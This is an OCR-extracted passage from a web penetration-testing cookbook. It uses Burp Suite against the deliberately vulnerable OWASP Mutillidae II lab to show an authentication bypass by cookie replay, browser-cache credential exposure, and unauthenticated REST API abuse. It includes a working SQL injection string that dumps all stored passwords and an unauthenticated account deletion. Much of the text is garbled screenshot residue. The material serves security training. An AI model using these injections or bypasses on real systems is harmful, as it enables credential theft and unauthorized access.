Referer: http://192.168.56.101/mutillidae/index.php?page=hone.phpipopUplNotificationCode=HPHO

Cookie: showhints=1; PHPSESSID=gS5qnImlhScdhulduB3tqlgimbd; acopendivids=swingset, jotto,phpbb’, rednine; acgroupswithpersist=nada
Connection: close

Upgrade-Insecure-Requests: 1

Send to Spider

Do an active scan

Do a passive scan

Send to Intruder Cirl+l

Send to Repeater

3. Using this same request and location, right-click again, and then select
Send to Comparer (request):



Targetl Proxy I Spider T Scanner T Intruder T Repeater T Sequencer T Decoder I Comparer T Extender T Project options T User options TAIerts ]

[ Intercept || HTTP history | VWebSockets history T Options ]

| Filter: Hiding CSS, image and general binary content

# 4| Host | Method | URL | Params | Edited | Status | Length | MIMEtype | Extensi
| 272 http:#/192.168.56.101 | GET imutilidae/index. php?page=home. php&popUpNotificatio.. | v 200 46441 HTML php
-

Request | Response
_[ RawT Params T Headers Tm

GET /mutillidae/index.php?page=hone.phpépopUplotificationCode=HPHO HTTP/1.1

Host: 192.1£8.56.101

User-Agent: Mozilla/5.0 (Windows NT 10.0; Winé&4; =x64; rwv:6l.0) Gecko/201l00101 Firefox/61.0
Accept: text/html,application/xhtml+txmnl, application/xml;q=0.5,*/*;q=0.8

Accept-Lancgquage: en-US,en;q=0.5 .
Accept-Encoding: gzip, deflate Do an active scan

Send to Spider

Referer: http://152.168.56.101/nutillidae/index.php?page=hone. phpipopUplotificationCode=HPHD Do a passive scan
Cookie: showhints=1; PHPSESSID=¢gS¢mmlhScdhulduB3teglginb4; acopendivids=swingset,jotto,phpbbl, re
Connection: close

Upgrade-Insecure-Requests: 1 Send to Repeater Ctri-R

Send to Intruder Ctri+l

Send to Sequencer

Send to Comparer

4. Return to the home page of your browser and click the Login/Register
button. At the login page, log in with the username of admin and the
password of admin. Click Login.

5. After you log in, go ahead and log out. Make sure you press the Logout
button and are logged out of the admin account.

6. In Burp, go to the Proxy | HTTP history tab and select the request you just
made, logging in as admin. Select GET request immediately following the
POST 302 redirect. Right-click and then select Send to Repeater (request):

[Tﬁrget I Proxy | Spider I Scanner T Intruder I Repeater T Sequencer T Decoder T Comparer T Extender I Project options I User options. T Alerts ]

[ Intercept [ HTTP history | WebSockets history T Options ]

I Filter: Hiding CSS, image and general binary content

# 4| Host | Method | URL | Params | Edited | Status | Length | MIME type | Extension \ Title
273 hitp://192.168.56.101 GET Imutilidaefindex. php?page=login.php v 200 50789 HTML php
274 hitp://192.168.56.101

POST /mutilidae/index.php?page=login.php W 302 50905 HTML php
| 275 hitp://192.168.56.101 I GET Irrutilﬂaeﬂndex.ghg.&Foguéﬂoﬁﬁcaﬁoncww‘km v’ 200 46544 HTML php
< i
Request Resnunse]

Raw | Params | Headers | Hex

GET /mutillidae/index.php?popUpNotificationCode=AUL HTTP/L.1

Host: 192.168.56.101

User-Agent: Mozilla/5.0 (Windows NT 10.0; Winéd; x€4; rv:ELl.0) Gecko/20100101 Firefox/E1.0

Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8

Accept-Language: en-US,en;q=0.5

Accept-Encoding: gzip, deflate

Referer: http://157 168.56.101/nutillidae/index.php?page=login.php

Cookie: showhints=l; username=acdmin; uid=1; PHPSESSID=gSqm9mlhScdhuddud3tqlgin54; acopendivids=swingset,jotto,phpbbl, rednine;
Connection: close
Upgrade-Insecure-Requests: 1 Send to Spider

acgroupswithpersist=nada

Do an active scan
Do a passive scan
Send to Intruder Ctri=l

Send to Repeater Cir+R.

7. Using this same request and location, right-click again and Send to
Comparer (request):



Target I Proxy I Spider T Scanner T Intruder T Repeater T Sequencer T Decoder T Comparer T Extender T Project options T User options | Alerts

Intercept IHTI'PhutnryI WebSockets history IOpﬁor\s l

‘ Fitter: Hiding CSS, image and general binary content

‘u 4| Host | Method | URL | Params | Edted | Status | Length | MMEtype |Extension | Title

273 hitp:/1192.168.56.101 GET imutilidaefindex. php?page=login.php v 200 50789 HTML php

274 hitp://192.168.56.101 POST Imutilidae/index. php?page=login.php v 302 50905 HTML php

\1{.{ hitp:/192.168.56.101 [cer /mutilidaefindex. php?popUpNotificationCode=AU1 J 200 | 46544  HTML php

- )

Request | Response

Raw | Params | Headers | Hex

GET /mutillidae/index.php?popUpNotificationCode=AUL HTTP/1.1

Host: 192.1&8.56.101

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win&4; x64; rv:61.0) Gecko/20100101 Firefox/&1.0
Accept: text/html,application/xhtmltxnl,application/xnl;q=0.9,*/*;q=0.8

Accept-Language: en-US,en;q=0.5

Accept-Encoding: gzip, deflate Send to Spider
Referer: http://192.168.56.101/mutillidae/index.php?page=login.php

Cookie: showhints=1l; username=admin; uid=1; PHPSESSID=gScnomlh5cdhuOdug3cg| DO an active scan
Connection: close

Do a passive scan
Upgrade-Insecure-Recquests: 1

Send to Intruder Ctri+l

Send to Sequencer

Send to Comparer

Send to Repeater Ctr+R

ptto,phpbbl, rednine; acgroupswithpersist=nada

8. Go to Burp's Comparer tab. Notice the two requests you sent are
highlighted. Press the Words button on the bottom right-hand side, to

compare the two requests at the same time:



Target | Proxy | Spider Sunnel]htmdar]RepeulerszncerTDecoder

Comparer

Extender Iijed Opkions TUW Options m

Comparer

This function et you do & worde o bytedevel comparison between diferent data. You can oad, pasts, or send data here from oner tools and then selct the comparison you want fo perfom.

Seletem .
; Lt Lt I[ P J
h m P mflidae/index oh"nane=home phofnanlinliatfizafionCodesHPHO BTTRI1 {Hast 197 168 56 101Ussr-Agant HozilaS
§ 5% GET muiiaefndex hpoopUptotfationCode=AU1 HTTPH tost 192 163561 wserAgeM Muzl-wﬁ (Widows KTA0..
Reftove
Clat
Selectfom2
:# Leagh |Dla
L B0 GET!muhlldneJ\ndexpp?paehumepp&.pu ltficationCode=hPHD HTTRI tHost 19216856101UserAgem Hozils...
F i \ ; ‘ ey

9. A dialog pop-up displays the two requests with color-coded highlights to
draw your eyes to the differences. Note the changes in the Referer header
and the additional name/value pair placed in the admin account cookie.
Close the pop-up box with the X on the right-hand side:

Length. £03

@ Text O Hex Length 585 @ Text O Hex

GET imutiidae/ndex php " EGESROMBIBNBE-opUphiotificationCode=HPHD HTTPA.1

Host 192.168.56.101

User-Agent: Mozia/S.0 (Windows NT 10.0; WinG4; xB4; rv:61.0) Gecko/20100101 Firefox/61.0

Accept it

.9.570=0.8

Ampu Inguage: en-US,en:q=0.5
o fafa

Refmr /1192 168.56.101/mutilidae/index |

‘Cookie: showhts=1, PRPSESSD=gSqnominscan, na TSHq1GmES, acopendiss=swGSELIOND, PREDE2 redmine; ACaroUpswihpersistznada

Connectios
Ubgmm-secu re-Requests: 1

GET. php?popl B HTTRi

Host: 192.168.56.101

User-Agent: Mozila/5.0 (Windows NT 10.0; Winb; x64; rv:61.0) Gecko/20100101 Firefox/61.0
Accept: text/htmi, .9, a=08

Aumug o o us n.qe0.5
Zai

Rele'er hﬂ.D/t‘IBQ 163561014‘7!"(% Mnde th DEQ “DHD
ame=admin; ub mihScdt

Upgrade-nsecure-Requests: 1

10. Return to Repeater, which contains your first GET request you performed as



unauthenticated. Prior to performing this attack, make sure you are
completely logged out of the application.

11. You can verify you are logged out by clicking the Go button in Repeater
associated to your unauthenticated request:

Target: hitpii192.168.56.101 |.#| | 7

[ Raw [ Headers | Hex | wruL | Render

r ’ - - - - l
e e e ®+% OWASP Mutillidae II: Web Pwn in Mass Productio
Ac
Ae Version: 2.6.24  Security Level: 0 (Hosed) Hints: Enabled (1 - Script Klddle) | Not Logged In|
Re
It &/ index. phpTpage=login. phpspopUplot i ticat ionCode=LOUL

OWASP 2013 Mutillidae: Deliberately Vulnerable
OWASP 2010 Web Pen-Testing Application

OWASP 2007

Like Mutilidae? Check out how to help

12. Now flip over to the Repeater tab, which contains your second GET request
as authenticated user admin. Copy the values for Referer header and
Cookie from the authenticated request. This attack is parameter
modification for the purpose of bypassing authentication:

Go Cance < | >y

Request

Raw | Params I Headers I Hex ]

GET /mutillidae/index.php?popUpllotificationCode=AT1 HTTP/1.1

Host: 152.168.5&6.101

User-Agent: Mozillas5.0 (Windows NT 10.0; Win&4; =x64; rv:6l.0) Gecko/Z0l00101 Firefox/€1.0
Accept: text/html,application/xhtml+tznl, application/xml;gq=0_.59, */* ;gq=0.8

Accept-Lancguage: en-US,en;g=0.5

Accept-Encoding: gzip, deflate

Peferer: http://152.168.56.1l01/mutillidae/index.php?page=login. php

Cookie: showhints=l; username=admin; uid=1l; PHPSESSID=giqmnSmlhScdhulduBZtqlqimb4;
acopendivids=swingset ,jotto,phpbhbl,redmnine; acgroupswithpersist=nada

Comnection: close

Upgrade-Insecure-Recuests: 1

13. Copy the highlighted headers (Referer and Cookie) from the authenticated

GET request. You are going to paste those values into the unauthenticated
GET request.

14. Replace the same headers in the unauthenticated GET request by
highlighting and right-clicking, and select Paste.

15. Right-click and select Paste in the Repeater | Raw tab of the first GET
request you performed as unauthenticated.

16. Click the Go button to send your modified GET request. Remember, this is



the first GET request you performed as unauthenticated.

17. Verify that you are now logged in as admin in the Response | Render tab.
We were able to bypass the authentication mechanism (that is, the log in
page) by performing parameter manipulation:

Response

[m Headers m HTHL Tﬂender ] l

®+% OWASP Mutillidae II: Web Pwn in Mass Production

Version: 2.6.24  Security Level: 0 (Hosed) Hints: Enabled (1 - Script Kiddie) ILogged In Admin: admin (got rOOt?l

OWASP 2013 Mutillidae: Deliberately
OWASP 2010 Vulnerable Web Pen-Testing
OWASP 2007 Application




How it works

By replaying both the token found in the cookie and the referer value of the
authenticated request into the unauthenticated request, we are able to bypass the
authentication scheme and gain unauthorized access to the application.



Testing for browser cache weaknesses

Browser caching is provided for improved performance and better end-user
experience. However, when sensitive data is typed into a browser by the user,
such data can also be cached in the browser history. This cached data is visible
by examining the browser's cache or simply by pressing the browser's back
button.



Getting ready

Using the browser's back button, determine whether login credentials are cached,
allowing for unauthorized access. Examine these steps in Burp, to understand the

vulnerability.



How to do it...

1. Log into the Mutillidae application as admin with the password admin.

2. Now log out of the application by clicking the Logout button from the top
menu.

3. Verify you are logged out by noting the Not Logged In message.

4. View these steps as messages in Burp's Proxy | History as well. Note the
logout performs a 302 redirect in an effort to not cache cookies or
credentials in the browser:

319 http://192.168.56.101 GET Imutilidae/index.php?popUpNaotificationCode=AU1 v 200 46544 HTML php
320 http://192.168.56.101 I G_I:T tmmﬂidaeﬂndex.php"dnziognm v 302 I 733 HTML php
321 http://192.168.56.101 GET Imutilidae/index. php?page=Ilogin.php&popUpNetificationCode=L0U1 v 200 51219 HTML php
- - |

Request Respnnsew

Raw | Params IHeaders m]

G‘ET. {mubfll.%daef;n(lexr])hD?DﬂETEil-:\qin php&épopUpNotificationCode=L0UL HITP/1.1

g::zfA;;;:Ltliaiili:iso (Windows NT 10.0; WinE4; xE4; rv:61.0) Gecko/20100101 Firefox/E1.0

Accept: text/html,application/xhtmltxml, application/xml;q=0.9,*/*;q=0.8

hccept-Language: en-US,en;q=0.5

Accept-Encoding: gzip, deflate

Referer: http://192.168.56.101/mutillidae/index.php?popUplNotificationCode=AUL

Cockie: showhi:}tsﬂ: PHPSESSID=g5qnomlhScdhuldud3tqlgins4; acopendivids=swingset,jotto,phpbbl, redunine; acgroupswithpersist=nada

Connec tion: close
Upgrade-Insecure-Requests: 1

S.

From the Firefox browser, click the back button and notice that you are now
logged in as admin even though you did not log in! This is possible because
of cached credentials stored in the browser and the lack of any cache-
control protections set in the application.
Now refresh/reload the page in the browser, and you will see you are logged
out again.
Examine the steps within the Proxy | HT'TP history tab. Review the steps
you did through the browser against the messages captured in the Proxy |
HTTP history table:

o Request 1 in the following screenshot is unauthenticate

o Request 35 is the successful login (302) as admin

o Request 37 is the logout of the admin account

o Requests 38 and 39 are the refresh or reload of the browser page,

logging us out again

There is no request captured when you press the browser's back button.
This is because the back button action is contained in the browser. No
message was sent through Burp to the web server to perform this action.



This is an important distinction to note. Nonetheless, we found a
vulnerability associated with weak browser-caching protection. In cases
such as this, penetration testers will take a screenshot of the logged-in
cached page, seen after clicking the back button:

Tt oy | ot [Sﬂﬁﬂﬂ&f hﬂtflldﬁf [ et I S [Decuder [Comparer [ i I P oo I 1ot I s ]
o

D AT Ay WebSncketshmryIUptms}
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Fr g v CS5 g 0d gl oy ol

bl | B B (S L N
L 7 fmu1|idaefndexphp?popUpNolmcaln (gl { U L
it iz o
L7 O fmuhidaefndex G { /I .
20 L 1 { I
Tomrmsn O i { 0w o wm
O/ 1 3 v < O
A pEN ] iy b Al { 0160 M




Testing the account provisioning
process via the REST API

Account provisioning is the process of establishing and maintaining user
accounts within an application. Provisioning capabilities are usually restricted to
administrator accounts. Penetration testers must validate account-provisioning
functions are done by users providing proper identification and authorization. A
common venue for account provisioning is through Representational State
Transfer (REST) API calls. Many times, developers may not put the same
authorization checks in place for API calls that are used in the UI portion of an
application.



Getting ready

Using REST API calls available in the OWASP Mutillidae II application,
determine whether an unauthenticated API call can provision or modify users.



How to do it...

Make sure you are not logged into the application. If you are, click the Logout
button from the top menu.

1. Within Mutillidae, browse to the User Lookup (SQL) Page and select
OWASP 2013 | A1l Injection (SQL) | SQLi — Extract Data | User Info

(SQL):

Home Login/Register Toggle Hints Show Popup Hints Toggle Security Enforce SSL ResetDB View Log View Captured

OWASP 2013 A - Injection (SQL) F SQLi - Extract Data ¥ User Info (SQL)

2. Type user for Name and user for Password, and click View Account
Details. You should see the results shown in the next screenshot. This is the
account we will test provisioning functions against, using REST calls:



o OWASP Mutillidae II: Web Pwn in Mass Production

Version: 26,24  Security Level: 0 (Hosed) Hints: Enabled (1 - Script Kidd1e)  Not Logged In

Home Login/Register Toggle Hints Show Popup Hints Toggle Security Enforce S5L ResetDB View Log View Captured Data

User Lookup (SQL)

OWASP 2I11IJ

BW&SP 2007 C,j Back e Help Me!

weh Services

. Hints

CE i |
W Switch to SOAP Web Service version m Switch to XPath version
g

Resources '
- l Please enter username and password

to view account details
‘:ﬁ Name |
Gelting Started: Basrword [—
Project Whitepaper —_
| View Account Details |

‘ Dont have an account? Please (egisrer here

Results for "user" 1 records found.
Release
Announcements Username=user
Password=user
Signature=User Account
Jou
[abe

Through Spidering, Burp can find /api or /rest folders. Such folders are
clues that an application is REST API enabled. A tester needs to



determine which functions are available through these API calls.

3. For Mutillidae, the /webservices/rest/ folder structure offers account
provisioning through REST API calls.

4. To go directly to this structure within Mutillidae, select Web Services |
REST | SQL Injection | User Account Management:

Home Login/Register Toggle Hints Show Popup Hints Toggle Security Enforce SSL ResetDB View Log View Captured

User Lookup (SQL)

Web Services SOAP

) iecti )
HTML 5 REST SQL Injection User Account Management

Username Enumeration
— .

You are presented with a screen describing the supported REST calls and
parameters required for each call:




_ i llhll Ihﬁ :ml :I.I“."II Il:jmlllc x _

< ¢ @ © 192.168.56.101/mutillidas/webservices/rest/ws-user-ar B -0

Back to Home Page

Help: This service exposes GET, POST, PUT, DELETE methods. This service is vulnerable to SQL injection in security level 0.

DEFAULT GET: {without any parameters) will display this help plus a list of accounts in the system.

Optional params: None.

GET: Either displays usernames of all accounts or the username and signature of one account.
Optional params: username AS URL parameter. If username is "*" then all accounts are retumed.
Example{s):

Get a particular user: /mutillidae/webservices/rest/ws-user-account, phpusername=adrian
Giet all users: /mutillidae webservices/rest/ws-user-account.php username=*

Example Exploit(s):

SQL injection: /mutillidae/ webservices/rest/ws-user-
account. phpusemame=jeremy'union selectd concat{'The +password+ for H username, Hs '+ password Jmvsignature from 4 accounts -4

POST: Creates new account.

Required params: usemame, password AS POST parameter,
Optional params: signature AS POST parameter.

PUT: Creates or updates account.

Required params: usemame, password AS POST parameter,
Optional params: signature AS POST parameter.

5. Let's try to invoke one of the REST calls. Go to the Proxy | HTTP history
table and select the latest request you sent from the menu, to get to the User
Account Management page. Right-click and send this request to
Repeater:



Target | Proxy | Spider T Scanner T Intruder T Repeater T Sequencer T Decoder ] Comparer I Extender I Project options. T User options I Alerts ]

[ Intercept I HTTP history I WebSockets history I Options ]

| Fitter: Hiding CSS, image and general binary content

Connection: close Send to Intruder Ctrl+l
Upgrade-Insecure-Requests: 1

Send to Repeater

6. In Burp's Repeater, add the ?, followed by a parameter name/value pair of
username=user to the URL. The new URL should be as follows:

/mutillidae/webservices/rest/ws-user-account.php?
username=user

# 4| Host | Method | URL | Params | Edited | Status | Length | MMEtype |Extension |
254 http:/192.168.56.101 GET imutilidae/webservices/rest/ws-user-account.php | 200 3818 HTML php
-
| Request | Response

J Raw I Params THeaders Hex

GET /mutillidae/webservices/rest/ws-user-account php HITP/1.1

Host: 19I.168.56.101

User-Agent: Mozilla/5.0 (Windows NT 10.0; Wing4; x&4; rv:€l.0) Gecko/Z0100101 Firefox/6l.0

Accept: text/html,application/xhtml+txnl,application/xml;q=0.9,*%/*;q=0.8 5

Accept-Language: en-US,en;q=0.5 Send to Spider

Accept-Encoding: gzip, deflate Do an active scan

Referer: http://182.1€8.56.101/mutillidae/index. php?page=home. phpépopUpllotificationCode=HPHO Do a passive scan

Cookie: showhints=l; PHPSESSID=gSqmmlhScdhulduB3tqlgims4; acopendivids=swingset,b jotto,phpbbl da



@ (el {12

Request

Jﬂ&ﬂ ' Params ‘ Headers | Hex

GET Yuutillidae/webservices/rest /vs=user-accownt, phplusernaue=user| HI19/1. 1
Host: [32. 166 de.
User-Agent: Mozilla/5.0 (Windows T 10.0; Winéd; x6d; rv:€1.0) Gecko/20100101 Pirefon/EL.0
Aecept: text/htnl, application/shtultxul, application/sul, 0.9, 4/*; 0.8

hecept-Lanquage: en-US, en;q=0.}

kecept=Bncoding: gaip, deflate

Referer: hetp://192. 166,56, 101 /mutillidae/ index. php?page=login. phpEpopUplotificat ionCode=L0T1
Cookie: showhints=l; PHPSESSID=giqmulhbediuldubitglqinid;

acopendivids=svingset, jotto,phpbh2, reduine; acqroupsvithpersist=nada

Connectiom: close

Upgrade-Insecure-Requests: 1

7. Click the Go button and notice we are able to retrieve data as an

unauthenticated user! No authentication token is required to perform such
actions:



Response

Raw ‘ Headers { Hex }

HITR/L.1 200 (K

Date: Thu, 30 Aug 2018 16:05:2¢ GT

server: Apache/.Z. 14 (Ubuntu] wod meno/Z.4.3 PHP/3. 3. C-Iubuncud. 30 with Suhosin-Patch
proxy htul/3.0.1 od python/3.3.1 Python/Z.6.5 wod ssl/2.2.14 (pendSL/0.9. 8k
Pusion Passenger/4.0.38 nod perl/2.0.4 Ferl/vd.10.1

{-Bowered-By: PHP/S.3.2-Iubuntud. 30

Bpires: Thu, 19 Nov 1961 08:52:00 GHT

Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=(
Pragua: no-cache

Vary: Accept-Encoding

Content-Length: 7

Comnection: close

Content-Type: text/htnl

Result: {Accounts: {[{'username":"user" 'mysiquature’:‘User Account'}]}}

8. Let's see what else we can do. Using the SQL Injection string given on the
User Account Management page, let's attempt to dump the entire user
table.

9. Append the following value after username=:



user '+union+select+concat (' The+password+for+', username, '+is+'
, +password),mysignature+from+accounts+--+

The new URL should be the following one:

/mutillidae/webservices/rest/ws-user-account.php?
username=user '+union+select+concat (' The+password+for+',6 userna
me, '+is+', +password), mysignature+from+accounts+--+

10. Click the Go button after making the change to the username parameter.
Your request should look as shown in the following screenshot:

Request

_[Haw I Params I Headers [ Hex }

fuutillidae/vebservices/rest/vs-user-account. phplusername=user ' tuniontselect+eoncat (' Thetpasswordtf
ort' usernaue, 'tist', tpassword) mysigmaturetfromtaccountst--+ HITP/1.1

0st. 13&. 16d. o6,

User-Agent: Mozilla/5.0 (Windows NT 10.0; Vinkd; x&4; rv:€l.0) Gecko/20100101 Firefon/el.0
Accept: text/htnl,application/xhtnltxml,application/xml;q=0.9,*/*;¢=0.8

Avcept-Lanquage: en-U5,en;q=0.5

Aecept-Encoding: quip, deflate

Referer: http://192.168.56.101/uucillidae/index. php?page=login. phpépopUplotificationCode=L0Ul
Cookie: showhints=l; PHPSESSID=gbmiulhbedhuldudltalaiudd;

acopendivids=swingset,jotto,phpbhZ, rednine; acgroupsvithpersist=nada

Comection: close

Upgrade-Insecure-Requests: 1

11. Notice we dumped all of the accounts in the database, displaying all
usernames, passwords, and signatures:



Response

_[ Raw l Headers T Hex l

A-Powered-By: PHP/5.3.2-lubuntud. 30

Expires: Thu, 19 Nov 15981 08:52:00 GHT

Cache-Control: no-store, no-cache, must-revalidate, post-checks0, pre-check=0
Prama: no-cache

Vary: Accept-Encoding

Content-Length: 2046

Connection: close

Content-Type: text/htnl

Result: {Accounts: {[{"username": "user" "mysignature":'User Account'},{"username':'The password for admin
is admin', 'mysiqnature’:"g0t r00t?"} |"username":'The password for adrian is

somepassword”  "mysiqnature":"Zombie Films Rock!'},{"username':'The password for jolm is
monkey' , "mysignature”:'T like the smell of confunk'} |"username':"The password for jeremy is

password", "mysiqnature":"d1373 1337 speak'},|"username": "The password for bryce is

password”, "mysignature”: 'l Love SANS'| {"username':'The password for samurai is

samurai”, "mysignature”:"Carving fools"}, {'username":'The password for jim is password", "mysiqnature":"Rome
is burning"},{ "username": "The password for bobby is password', "mysignature":'Hank is my

dad"},{"username": "The password for simba is password', ‘mysignatwre":'I am a super-cat'},{"username':'The
password for dreveil is password', "mysigmature’: 'Preparation '} {'username";"The password for scotty is
password" , 'mysignature’:"Scotty do"}, |"username":"The password for cal is password", 'mysigmature":'C-A-T-§
Cats Cats Cats"},{"username": "The password for john is password" K "mysiqnature”:"Do the

Duggie!"},{ "username": "The password for kevin is 42", 'mysigqnature’:'Doug Adams rocks'},{'username":"The
password for dave is set', "'mysiqmature”;'Bet on §.E.T. FTW'} {"username": 'The password for patches is
tortoise" "mysignature":'meow'} {"username":'The password for rocky is

stripes”, "mysignature”: "treats?"}, {"username':"The password for tim is lanmaster53", 'mysignature’:"Because
reconnaissance is hard to spell"} |"username':'The password for ABaker is SoSecret", 'mysignature":"Muffin
tops only"},{ "username": "The password for PPan is NotTelling", 'mysigmature":'Where is

Tinker?"}, {"username": 'The password for CHook is JollyRoger" "mysiqmature':'Gator-hater'}, {'username":'The

password for james is i<3devs”,'nysiqmature”:"lccupation: Researcher'},{"usernane”:"The password for user

[}
F

pentest”, "nysimature": "Commandline FungPu anyone?"}}}

is user", "mysignature": "User Account'},{"username':"The passvord for ed is

12. Armed with this information, return to Proxy | HT'TP History, select the
request you made to see the User Account Management page, right-click,
and send to Repeater.



13. In Repeater, modify the GET verb and replace it with DELETE within the
Raw tab of the Request:

w Cancel M ML

Request

| m Params [ Headers ] Hex ]

DELETE |/uutillidae/webservices/rest/ws-user-account. php HITP/L.1
ost: 192.1e8,5.10]
User-Agent: Nozilla/5.0 (Vindows NT 10.0; Wined; xed; rv:el.0) Gecko/Z0L0010L Firefox/6l.0
Avcept: text/htwl,application/xhtultxul,application/sul;q=0.9,%/*;q=0.8
Accept-language: en-Us en;q=0.5
Aecept=Encoding: gzip, deflate
Referer: http://192.168. 5. 101 /uutillidas/index. php?page=login. phpépopUplotificationCode=L0UL
\Cookle: showhints=l; PHPSESSID=goqimlhScdhuldubitqlgnsd;
acopendivids=svingset,jotto,phphbl,rednine; acgroupsvithpersist=nada
Connection: close
Upgrade-Insecure-Requests: 1
‘Content-Type: application/x-www-foru-urlencoded
Content-Length: 27

USEEh&h&ﬂlSEIﬁp&SSWHFUSEI

14. Move to the Params tab, click the Add button, and add two Body type
parameters: first, a username with the value set to user, and second, a
password with the value set to user, and then click the Go button:



Cancel m 2|

Request

! Params ]He&ders | Hex \

DELETE request to Imutiidae/webservicesirestiws-user-account php

Type Name | Valug T
Cookie showhints 1
Cookie PHPSESSD gSqn9m1h5cth0ﬂll83lq1q1m54 Remove
Cookie acopendvids swingset jotto,phpbb2 redmine
' roupswihpersi p
Down

15. Notice we deleted the account! We were able to retrieve information and

even modify (delete) rows within the database without ever showing an API
key or authentication token!



Response

_[ Raw N Headers T Hex }

HITP/L.1 200 (K

Date: Thu, 30 Aug 2018 16:15:07 GHI

Server: Apache/Z.2.14 (Ubwntu) mod mono/2.4.3 PHP/S.3.2-lubuntud.30 with Suhosin-Patch
proxy htul/3.0.1 nod python/3.3.1 Python/Z.€.5 nod ss1/2.2.14 OpenS5L/0.9.6k

Phusion Passenger/4.0.30 mod perl/2.0.4 Perl/vi.l0.1

X-Povered-By: PHP/S.3.2-lubuntud. 30

Bxpires: Thu, 19 Nov 1961 08:52:00 CMT

Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragua: no-cache

Vary: Accept-Encoding

Content=Length: 30

Comnection: close

Content-Type: text/htul

Result: {Deleted account user}

Note: If you wish to re-create the user account, repeat the previous steps,
replacing delete with put. A signature is optional. Click the Go button. The user
account is re-created again.



Assessing Authorization Checks

In this chapter, we will cover the following recipes:

Testing for directory traversal

Testing for Local File Include (LFI)
Testing for Remote File Include (RFI)
Testing for privilege escalation

Testing for insecure direct object reference



Introduction

This chapter covers the basics of authorization, including an explanation of how
an application uses roles to determine user functions. Web penetration testing
involves key assessments to determine how well the application validates
functions assigned to a given role, and we will learn how to use Burp to perform
such tests.



Software requirements

To complete the recipes in this chapter, you will need the following:

e OWASP broken web applications (VM)
o OWASP mutillidae link
¢ Burp Proxy Community or Professional (https://portswigger.net/burp/)

e Firefox browser configured to allow Burp to proxy traffic
(https://www.mozilla.org/en-US/firefox/new/)

e The wfuzz wordlist repository from GitHub
(https://github.com/xmendez/wfuzz)



https://portswigger.net/burp/
https://www.mozilla.org/en-US/firefox/new/
https://github.com/xmendez/wfuzz

Testing for directory traversal

Directory traversal attacks are attempts to discover or forced browse to
unauthorized web pages usually designed for administrators of the application. If
an application does not configure the web document root properly and does not
include proper authorization checks for each page accessed, a directory traversal
vulnerability could exist. In particular situations, such a weakness could lead to
system command injection attacks or the ability of an attacker to perform
arbitrary code execution.



Getting ready

Using OWASP Mutillidae II as our target application, let's determine whether it
contains any directory traversal vulnerabilities.



How to do it...

Ensure Burp and the OWASP BWA VM are running and that Burp is configured
in the Firefox browser used to view the OWASP BWA applications.

1. From the OWASP BWA Landing page, click the link to the OWASP
Mutillidae II application.

2. Open the Firefox browser on the login screen of OWASP Mutillidae II.
From the top menu, click Login.

3. Find the request you just performed within the Proxy | HIT'TP history table.
Look for the call to the 1login.php page. Highlight the message, move your
cursor into the Raw tab of the Request tab, right-click, and click on Send
to Intruder:



'} Burp Suite Professional v1.7.35 - Temporary Project - licensed to Sunny Wear [single user license]

Burp Intruder Repeater Window Help

[ Target

Proxy | Spider I Scanner T Intruder TRepeater T Sequencer T Decoder I Comparer I Extender I Project options T User options IAIerts ]

Intercept I HTTP history

WebSockets history T Options ]

| Filtter: Hiding CSS, image and general binary content

# A |Host [ Method | URL ‘ Params ‘ Edited

99 hitp://192.168.56.101 GET Jmutilidae/index.php?page=login.ph I Vv

‘ ~

Reguest | Response

_[ Raw T Params T Headers I Hex ]

GET /mutillidae/index.php?page=login.php HTTP/1.1
Host: 192.168.56.101
User-Agent: Mozilla/5.0 (Windows NT 10.0; Winé4; x64; rv:El.0) Gecko/Z0l001l01 Firefox/61.0
Accept: text/html,application/xhtml+txml,application/xml;qgq=0.9, */*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate ) ) Send to Spider

Referer: http://1l92.168.56.101/mutillidae/ X

Cookie: showhints=l; PHPSESSID=c766tk7iScdgSg4lumelocoEks; acopendivids=swingsq 00 8n active scan swit
Connection: close Do a passive scan
Upgrade-Insecure-Recquests: 1 Serlin B Ciri+l

Send to Repeater Ctri+R

Send to Segquencer

Send to Comparer

Send to Decoder

Show response in browser
Request in browser
Engagement tools

Copy URL

Copy as curl command
Copy to file

4. Switch over to the Intruder | Positions tab, and clear all Burp-defined
payload markers by clicking the Clear $ button on the right-hand side.

5. Highlight the value currently stored in the page parameter (Login.php), and
place a payload marker around it using the Add § button:

Target I Positions I Payloads IOptiuns ]

@ Payload Positions

payload positions - see help for full details.

Configure the positions where payloads will be inserted into the base request. The attack type determines the way in which payloads are assigned to

Attack type: | Sniper

Start attack

GET /mucillidaefindex.php?pageislogin.phpslHTTP/l.l
Host: 192.1€8.56.101

Accept: text/html,application/xhtml+txml,application/xml;q=0.9,*%/*;¢q=0.8
Accept-Language: en-US,en;q=0.5

Accept-Encoding: gzip, deflate

http: //192.168.56.101/mutillidae/

showhints=1; PHPSESSID=c7&6tkT7i%0dgSg4lumclocotkI;
acopendivids=swingset,jotto,phpbbhl,rednine; acgroupswithpersist=nada
Connection: close

Upgrade-Insecure-Requests: 1

Referer:
Cookie:

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win€4; x€4; rv:£1.0) Gecko/Z0100101 Firefox/€l.0

| Add § |
_ Cears
 Amos
 Refresh



6. Continue to the Intruder | Payloads tab, and select the following wordlist
from the wfuzz repository: admin-panels. txt. The location of the wordlist
from the GitHub repository follows this folder structure:
wfuzz/wordlist/general/admin-panels. txt.

7. Click the Load button within the Payload Options [Simple list] section of
the Intruder | Payloads, tab and a popup will display, prompting for the
location of your wordlist.

8. Browse to the location where you downloaded the wfuzz repository from
GitHub. Continue to search through the wfuzz folder structure
(wfuzz/wordlist/general/) until you reach the admin-panels. txt file, and
then select the file by clicking Open:



|' Target T Positions | Payloads || Options ]

2

)

9.

H

10.

11.

Payload Sets

You can define one or more payload sets. The number of payload sets depends on the attack type defined in the Positions tab. Various
are available for each payload set, and each payload type can be customized in different ways.

Payload set: [1 "J Payload count: 0
Payload type: | Simple list [ §
Look In: Iﬁ'general ,"J lﬁjkﬁjtjf = l B8]
Payload Options [Simple list
This paylead type lets you configure | D R D hitp_methods. bt
[ big.bet [ medium.bet
—— D catala.b«t D megabeast.txt
E] common. txt D mutations_common. txt
E] euskera.txt D spanish. bt
E] extensions_common.txt D test.txt
Remove

Clear File Name: | admin-panels.txt |

Files of Type: | AllFiles |=

